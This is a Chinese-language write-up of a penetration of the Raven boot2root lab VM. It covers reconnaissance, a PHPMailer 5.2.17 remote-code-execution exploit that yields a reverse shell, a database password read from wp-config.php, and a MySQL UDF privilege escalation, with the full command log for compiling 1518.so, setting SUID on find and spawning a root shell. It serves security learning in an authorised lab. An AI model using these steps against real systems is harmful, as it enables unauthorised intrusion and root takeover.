skyler实战渗透笔记（三）—Raven

skyler实战渗透笔记：

笔记是为了记录实战渗透学习过程，分享渗透过程思路与方法。

请注意：

对于所有笔记中复现的终端或服务器，都是自行搭建环境或已获授权渗透的。使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，我概不负责。

0x00 前言

今天的目标，是一台Debian的机器，里面有4个flag，并且两种getshell的方法，一起来看下。

0x01信息收集

首先还是先发现目标：

确定目标IP 192.168.245.143，然后端口扫一下看看：

0x02 渗透getshell

看起来开了22的ssh端口，80的web端口，以及一个特殊的rpcbind服务端口，那么下意识就觉得这个端口应该是有利用机会的，但是先从80访问看看：

是一个blog系统，到处点了点没什么发现：

目录扫一下试试：

首先正常目录中每个页面查看下源代码，发现了第一个flag

http://192.168.245.143/service.html

扫描发现了几个特殊的目录，挨个访问下：

http://192.168.245.143/manual/en/index.html

这里发现用的中间件是apache 2.4

http://192.168.245.143/vendor/

这里是phpmail的目录，里面发现当前phpmailer版本是5.2.17

网上搜了下，phpmailer这个版本有个远程命令执行的漏洞

OK，expolit里搜下看看有没有攻击脚本：

这边我先尝试了.sh的脚本，复制过来后执行报错，查了查报错内容，是因为这个从windows复制过来的脚本，换行符不一致，所以用dos2unix转换一下就可以执行了。

执行了脚本，也获取到一个远程的shell，但是命令无法回显。再尝试下python的脚本：

修改脚本中参数：

编译执行报错，发现里面有中文字符，开头加上这一句话：# -*- coding: utf-8 -*

再次执行，发现缺少库，pip install requests-toolbelt安装

重新编译执行

成功后，在kali本地开启端口监听8888，并访问http://192.168.245.143/back.php，获得shell并反弹bash

获取到权限，发现是一个低权限用户，没事，先搜一波flag

find / -name "*flag*"

OK，成功拿到第二个flag，而且目录里还有个wordpress的子目录，wordpress是个一键建站的工具，那cd到子目录看看有什么信息：

查看配置文件，发现了数据库的用户名和密码：cat wp-config.php

OK，先看看数据库运行的权限：

0x03 提权

root运行的mysql。之前在学习sql注入的时候，注入成功后提权方式就提到了udf提权，正好拿来试试：

查看mysql版本5.5.60

用第二个，复制1518.c并编译生成动态链接库文件（DLL）

gcc -g -c 1518.c

gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o –lc

开启python服务器python -m SimpleHTTPServer 5555 ，并在目标机器中下载1518.so

OK，登录进mysql，开始udf提权：

mysql -uroot -pR@v3nSecurity

具体方法如下：

 1 mysql> show databases;
 2 show databases;
 3 +--------------------+
 4 | Database           |
 5 +--------------------+
 6 | information_schema |
 7 | mysql              |
 8 | performance_schema |
 9 | wordpress          |
10 +--------------------+
11 4 rows in set (0.22 sec)
12 
13 mysql> use wordpress
14 use wordpress
15 Reading table information for completion of table and column names
16 You can turn off this feature to get a quicker startup with -A
17 
18 Database changed
19 mysql> create table foo(line blob);
20 create table foo(line blob);
21 Query OK, 0 rows affected (0.43 sec)
22 
23 mysql> insert into foo values(load_file('/var/www/html/1518.so'));
24 insert into foo values(load_file('/var/www/html/1518.so'));
25 Query OK, 1 row affected (0.10 sec)
26 
27 mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
28 select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
29 Query OK, 1 row affected (0.06 sec)
30 
31 mysql> create function do_system returns integer soname '1518.so';
32 create function do_system returns integer soname '1518.so';
33 Query OK, 0 rows affected (0.10 sec)
34 
35 mysql> select * from mysql.func;
36 select * from mysql.func;
37 +-----------+-----+---------+----------+
38 | name      | ret | dl      | type     |
39 +-----------+-----+---------+----------+
40 | do_system |   2 | 1518.so | function |
41 +-----------+-----+---------+----------+
42 1 row in set (0.00 sec)
43 
44 mysql> select do_system('chmod u+s /usr/bin/find');
45 select do_system('chmod u+s /usr/bin/find');
46 +--------------------------------------+
47 | do_system('chmod u+s /usr/bin/find') |
48 +--------------------------------------+
49 |                                    0 |
50 +--------------------------------------+
51 1 row in set (0.02 sec)
52 mysql> quit
53 quit
54 Bye
55 www-data@Raven:/var/www/html$ touch foo
56 touch foo
57 www-data@Raven:/var/www/html$ find foo -exec 'whoami' \;
58 find foo -exec 'whoami' \;
59 root
60 www-data@Raven:/var/www/html$ find foo -exec '/bin/sh' \;
61 find foo -exec '/bin/sh' \;
62 # whoami
63 whoami
64 root
65 # pwd
66 pwd
67 /var/www/html
68 # cd /root
69 cd /root
70 # ls
71 ls
72 flag4.txt
73 # cat flag4.txt
74 cat flag4.txt
75 ______
76 
77 | ___ \
78 
79 | |_/ /__ ___   _____ _ __
80 
81 |    // _` \ \ / / _ \ '_ \
82 
83 | |\ \ (_| |\ V /  __/ | | |
84 
85 \_| \_\__,_| \_/ \___|_| |_|
86 
87 
88 flag4{715dea6c055b9fe3337544932f2941ce}
89 
90 CONGRATULATIONS on successfully rooting Raven!
91 
92 This is my first Boot2Root VM - I hope you enjoyed it.
93 
94 Hit me up on Twitter and let me know what you thought:
95 
96 @mccannwj / wjmccann.github.io